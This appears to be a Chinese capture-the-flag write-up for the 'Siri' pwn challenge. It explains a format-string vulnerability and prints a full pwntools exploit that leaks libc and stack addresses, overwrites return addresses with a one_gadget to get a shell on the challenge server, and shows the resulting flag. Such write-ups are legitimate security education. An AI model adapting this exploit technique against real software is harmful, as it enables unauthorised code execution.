[强网先锋] Siri
64位程序,保护全开
程序逻辑:
1、循环,每次要输入Hey Siri!才能进入功能函数。
2、其中漏洞函数是这个sub_1212函数,这里存在格式化字符串漏洞。
思路:
a、首先用该漏洞泄露出栈和libc的地址。
前一个是libc上的地址,为__libc_start_main+231的地址。(这里我一直用libc2.23的环境来调,但是libc2.23和libc2.27的环境有些不一样,在libc2.23的环境中,这里是__libc_start_main+240,所以调了好久。)
后一个为上一个栈帧的rbp的值。
b、用该漏洞来向返回地址中填入one_gadget。但是因为这里用了sprintf来将输入的内容拷贝到s中,所以会发生”\x00”阶段,因此得多次向返回地址写地址,这里选择写在main函数存返回地址的地方。这部分的脚本写的有点丑,需要执行多几次。
c、然后需要跳出循环,才能够执行one_gadget。这里我选择修改sub_1212函数的返回地址,
可以看出返回地址是0x4c结尾的。写完后就成功getshelll了
我们需要执行到的地址是以0xc1结尾的,因此只需要改掉最后一个字节即可。
完整代码:
from pwn import *
context.clear(arch = 'amd64')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = "debug"
#p = process("./Siri")
p = remote("123.56.170.202", 12124)
elf = ELF("./Siri")
#gdb.attach(p)
def Siri():
p.sendlineafter(">>> ", "Hey Siri!")
exp = "Remind me to bbbbb"
Siri()
p.sendlineafter(">>> ", exp + "%83$p" + "%46$p")
p.recvuntil("bbbbb")
libc = int(p.recv(14), 16)
stack = int(p.recv(14), 16)
libc_base = libc - (0x21ab0 + 231)
rip_addr = stack + 0x8
one = libc_base + 0x10a45c
print "libc: " + hex(libc_base)
print "libc: " + hex(rip_addr)
k = []
for i in range(2,14,2):
k.append(int(hex(one)[i:i+2], 16))
for i in range(6):
a = k[i] - 0x1d
if(a < 0):
k[i] = a + 256
elif(a >= 100 ):
k[i] = a + 1
elif(a >=0 and a < 10):
k[i] = a - 1
else:
k[i] = a
for i in range(6):
Siri()
poc = "Remind me to b" + "b" * (3 - len(str(k[i]))) + "%" + str(k[i]) + "c%15$hhn" + p64(rip_addr + 5 - i)
p.sendlineafter(">>> ", poc)
sleep(1)
Siri()
poc = "Remind me to b" + "%165c%15$hhn" + p64(stack - 0x118)
p.sendlineafter(">>> ", poc.ljust(0xf0, "\x00"))
p.interactive()
flag{957192265275077f73d0ea1dea5f27f9}
打赏还是打残,这是个问题


没有帐号? 立即注册